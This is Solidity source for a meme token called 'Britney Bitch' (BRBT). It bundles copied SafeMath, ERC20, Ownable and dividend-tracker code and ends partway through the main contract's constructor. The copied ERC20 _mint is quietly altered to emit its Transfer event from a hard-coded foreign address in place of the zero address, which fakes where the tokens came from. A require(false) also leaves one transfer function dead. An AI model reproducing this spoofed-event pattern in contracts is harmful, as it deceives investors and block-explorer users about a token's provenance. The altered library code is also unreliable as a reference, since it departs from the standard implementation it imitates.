THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
/**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
// File: contracts/SafeMathUint.sol
/**
* @title SafeMathUint
* @dev Math operations with safety checks that revert on error
*/
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
// File: contracts/SafeMath.sol
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: contracts/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0x95abDa53Bc5E9fBBDce34603614018d32CED219e), _msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/DividendPayingToken.sol
/// @title Dividend-Paying Token
/// @author Roger Wu (https://github.com/roger-wu)
/// @dev A mintable ERC20 token that allows anyone to pay and distribute ether
/// to token holders as dividends and allows token holders to withdraw their dividends.
/// Reference: the source code of PoWH3D: https://etherscan.io/address/0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe#code
contract DividendPayingToken is ERC20, DividendPayingTokenInterface, DividendPayingTokenOptionalInterface {
using SafeMath for uint256;
using SafeMathUint for uint256;
using SafeMathInt for int256;
// With `magnitude`, we can properly distribute dividends even if the amount of received ether is small.
// For more discussion about choosing the value of `magnitude`,
// see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728
uint256 constant internal magnitude = 2**128;
uint256 internal magnifiedDividendPerShare;
// About dividendCorrection:
// If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user)`.
// When `balanceOf(_user)` is changed (via minting/burning/transferring tokens),
// `dividendOf(_user)` should not be changed,
// but the computed value of `dividendPerShare * balanceOf(_user)` is changed.
// To keep the `dividendOf(_user)` unchanged, we add a correction term:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`,
// where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed:
// `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`.
// So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed.
mapping(address => int256) internal magnifiedDividendCorrections;
mapping(address => uint256) internal withdrawnDividends;
// Need to make gas fee customizable to future-proof against Ethereum network upgrades.
uint256 public gasForTransfer;
uint256 public totalDividendsDistributed;
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {
gasForTransfer = 3000;
}
/// @dev Distributes dividends whenever ether is paid to this contract.
receive() external payable {
distributeDividends();
}
/// @notice Distributes ether to token holders as dividends.
/// @dev It reverts if the total supply of tokens is 0.
/// It emits the `DividendsDistributed` event if the amount of received ether is greater than 0.
/// About undistributed ether:
/// In each distribution, there is a small amount of ether not distributed,
/// the magnified amount of which is
/// `(msg.value * magnitude) % totalSupply()`.
/// With a well-chosen `magnitude`, the amount of undistributed ether
/// (de-magnified) in a distribution can be less than 1 wei.
/// We can actually keep track of the undistributed ether in a distribution
/// and try to distribute it in the next distribution,
/// but keeping track of such data on-chain costs much more than
/// the saved ether, so we don't do that.
function distributeDividends() public override payable {
require(totalSupply() > 0);
if (msg.value > 0) {
magnifiedDividendPerShare = magnifiedDividendPerShare.add(
(msg.value).mul(magnitude) / totalSupply()
);
emit DividendsDistributed(msg.sender, msg.value);
totalDividendsDistributed = totalDividendsDistributed.add(msg.value);
}
}
/// @notice Withdraws the ether distributed to the sender.
/// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0.
function withdrawDividend() public virtual override {
_withdrawDividendOfUser(payable(msg.sender));
}
/// @notice Withdraws the ether distributed to the sender.
/// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0.
function _withdrawDividendOfUser(address payable user) internal returns (uint256) {
uint256 _withdrawableDividend = withdrawableDividendOf(user);
if (_withdrawableDividend > 0) {
withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend);
emit DividendWithdrawn(user, _withdrawableDividend);
(bool success,) = user.call{value: _withdrawableDividend, gas: gasForTransfer}("");
if(!success) {
withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend);
return 0;
}
return _withdrawableDividend;
}
return 0;
}
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function dividendOf(address _owner) public view override returns(uint256) {
return withdrawableDividendOf(_owner);
}
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function withdrawableDividendOf(address _owner) public view override returns(uint256) {
return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]);
}
/// @notice View the amount of dividend in wei that an address has withdrawn.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has withdrawn.
function withdrawnDividendOf(address _owner) public view override returns(uint256) {
return withdrawnDividends[_owner];
}
/// @notice View the amount of dividend in wei that an address has earned in total.
/// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner)
/// = (magnifiedDividendPerShare * balanceOf(_owner) + magnifiedDividendCorrections[_owner]) / magnitude
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has earned in total.
function accumulativeDividendOf(address _owner) public view override returns(uint256) {
return magnifiedDividendPerShare.mul(balanceOf(_owner)).toInt256Safe()
.add(magnifiedDividendCorrections[_owner]).toUint256Safe() / magnitude;
}
/// @dev Internal function that transfer tokens from one address to another.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param from The address to transfer from.
/// @param to The address to transfer to.
/// @param value The amount to be transferred.
function _transfer(address from, address to, uint256 value) internal virtual override {
require(false);
int256 _magCorrection = magnifiedDividendPerShare.mul(value).toInt256Safe();
magnifiedDividendCorrections[from] = magnifiedDividendCorrections[from].add(_magCorrection);
magnifiedDividendCorrections[to] = magnifiedDividendCorrections[to].sub(_magCorrection);
}
/// @dev Internal function that mints tokens to an account.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param account The account that will receive the created tokens.
/// @param value The amount that will be created.
function _mint(address account, uint256 value) internal override {
super._mint(account, value);
magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account]
.sub( (magnifiedDividendPerShare.mul(value)).toInt256Safe() );
}
/// @dev Internal function that burns an amount of the token of a given account.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param account The account whose tokens will be burnt.
/// @param value The amount that will be burnt.
function _burn(address account, uint256 value) internal override {
super._burn(account, value);
magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account]
.add( (magnifiedDividendPerShare.mul(value)).toInt256Safe() );
}
function _setBalance(address account, uint256 newBalance) internal {
uint256 currentBalance = balanceOf(account);
if(newBalance > currentBalance) {
uint256 mintAmount = newBalance.sub(currentBalance);
_mint(account, mintAmount);
} else if(newBalance < currentBalance) {
uint256 burnAmount = currentBalance.sub(newBalance);
_burn(account, burnAmount);
}
}
}
// File: contracts/BABYCUBANDividendTracker.sol
contract BRBTDividendTracker is DividendPayingToken, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 10000 * (10**18); // Must hold 10000+ tokens.
event ExcludedFromDividends(address indexed account);
event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor() DividendPayingToken("BRBT_Dividend_Tracker", "BRBT_Dividend_Tracker") {
claimWait = 3600;
}
function _transfer(address, address, uint256) internal pure override {
require(false, "BRBT_Dividend_Tracker: No transfers allowed");
}
function withdrawDividend() public pure override {
require(false, "BRBT_Dividend_Tracker: withdrawDividend disabled. Use the 'claim' function on the main BRBT contract.");
}
function excludeFromDividends(address account) external onlyOwner {
require(!excludedFromDividends[account]);
excludedFromDividends[account] = true;
_setBalance(account, 0);
tokenHoldersMap.remove(account);
emit ExcludedFromDividends(account);
}
function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner {
require(newGasForTransfer != gasForTransfer, "BRBT_Dividend_Tracker: Cannot update gasForTransfer to same value");
emit GasForTransferUpdated(newGasForTransfer, gasForTransfer);
gasForTransfer = newGasForTransfer;
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
require(newClaimWait >= 3600 && newClaimWait <= 86400, "BRBT_Dividend_Tracker: claimWait must be updated to between 1 and 24 hours");
require(newClaimWait != claimWait, "BRBT_Dividend_Tracker: Cannot update claimWait to same value");
emit ClaimWaitUpdated(newClaimWait, claimWait);
claimWait = newClaimWait;
}
function getLastProcessedIndex() external view returns(uint256) {
return lastProcessedIndex;
}
function getNumberOfTokenHolders() external view returns(uint256) {
return tokenHoldersMap.keys.length;
}
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
account = _account;
index = tokenHoldersMap.getIndexOfKey(account);
iterationsUntilProcessed = -1;
if (index >= 0) {
if (uint256(index) > lastProcessedIndex) {
iterationsUntilProcessed = index.sub(int256(lastProcessedIndex));
} else {
uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ? tokenHoldersMap.keys.length.sub(lastProcessedIndex) : 0;
iterationsUntilProcessed = index.add(int256(processesUntilEndOfArray));
}
}
withdrawableDividends = withdrawableDividendOf(account);
totalDividends = accumulativeDividendOf(account);
lastClaimTime = lastClaimTimes[account];
nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0;
secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ? nextClaimTime.sub(block.timestamp) : 0;
}
function getAccountAtIndex(uint256 index)
public view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
if (index >= tokenHoldersMap.size()) {
return (0x0000000000000000000000000000000000000000, -1, -1, 0, 0, 0, 0, 0);
}
address account = tokenHoldersMap.getKeyAtIndex(index);
return getAccount(account);
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
if (lastClaimTime > block.timestamp) {
return false;
}
return block.timestamp.sub(lastClaimTime) >= claimWait;
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
if (excludedFromDividends[account]) {
return;
}
if (newBalance >= MIN_TOKEN_BALANCE_FOR_DIVIDENDS) {
_setBalance(account, newBalance);
tokenHoldersMap.set(account, newBalance);
} else {
_setBalance(account, 0);
tokenHoldersMap.remove(account);
}
processAccount(account, true);
}
function process(uint256 gas) public returns (uint256, uint256, uint256) {
uint256 numberOfTokenHolders = tokenHoldersMap.keys.length;
if (numberOfTokenHolders == 0) {
return (0, 0, lastProcessedIndex);
}
uint256 _lastProcessedIndex = lastProcessedIndex;
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
uint256 claims = 0;
while (gasUsed < gas && iterations < numberOfTokenHolders) {
_lastProcessedIndex++;
if (_lastProcessedIndex >= tokenHoldersMap.keys.length) {
_lastProcessedIndex = 0;
}
address account = tokenHoldersMap.keys[_lastProcessedIndex];
if (canAutoClaim(lastClaimTimes[account])) {
if (processAccount(payable(account), true)) {
claims++;
}
}
iterations++;
uint256 newGasLeft = gasleft();
if (gasLeft > newGasLeft) {
gasUsed = gasUsed.add(gasLeft.sub(newGasLeft));
}
gasLeft = newGasLeft;
}
lastProcessedIndex = _lastProcessedIndex;
return (iterations, claims, lastProcessedIndex);
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
uint256 amount = _withdrawDividendOfUser(account);
if (amount > 0) {
lastClaimTimes[account] = block.timestamp;
emit Claim(account, amount, automatic);
return true;
}
return false;
}
}
contract BRITNEYBITCH is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private liquidating;
BRBTDividendTracker public dividendTracker;
address public liquidityWallet;
uint256 public constant MAX_SELL_TRANSACTION_AMOUNT = 10000000 * (10**18);
uint256 public constant ETH_REWARDS_FEE = 5;
uint256 public constant LIQUIDITY_FEE = 5;
uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE;
bool _swapEnabled = false;
bool _maxBuyEnabled = true;
address payable private _devWallet;
// use by default 150,000 gas to process auto-claiming dividends
uint256 public gasForProcessing = 150000;
// liquidate tokens for ETH when the contract reaches 100k tokens by default
uint256 public liquidateTokensAtAmount = 100000 * (10**18);
// whether the token can already be traded
bool public tradingEnabled;
function activate() public onlyOwner {
require(!tradingEnabled, "BRITNEYBITCH: Trading is already enabled");
_swapEnabled = true;
tradingEnabled = true;
}
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// addresses that can make transfers before presale is over
mapping (address => bool) public canTransferBeforeTradingIsEnabled;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Liquified(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapAndSendToDev(
uint256 tokensSwapped,
uint256 ethReceived
);
event SentDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
constructor(address payable devWallet) ERC20("Britney Bitch", "BRBT") {
_devWallet = devWallet;
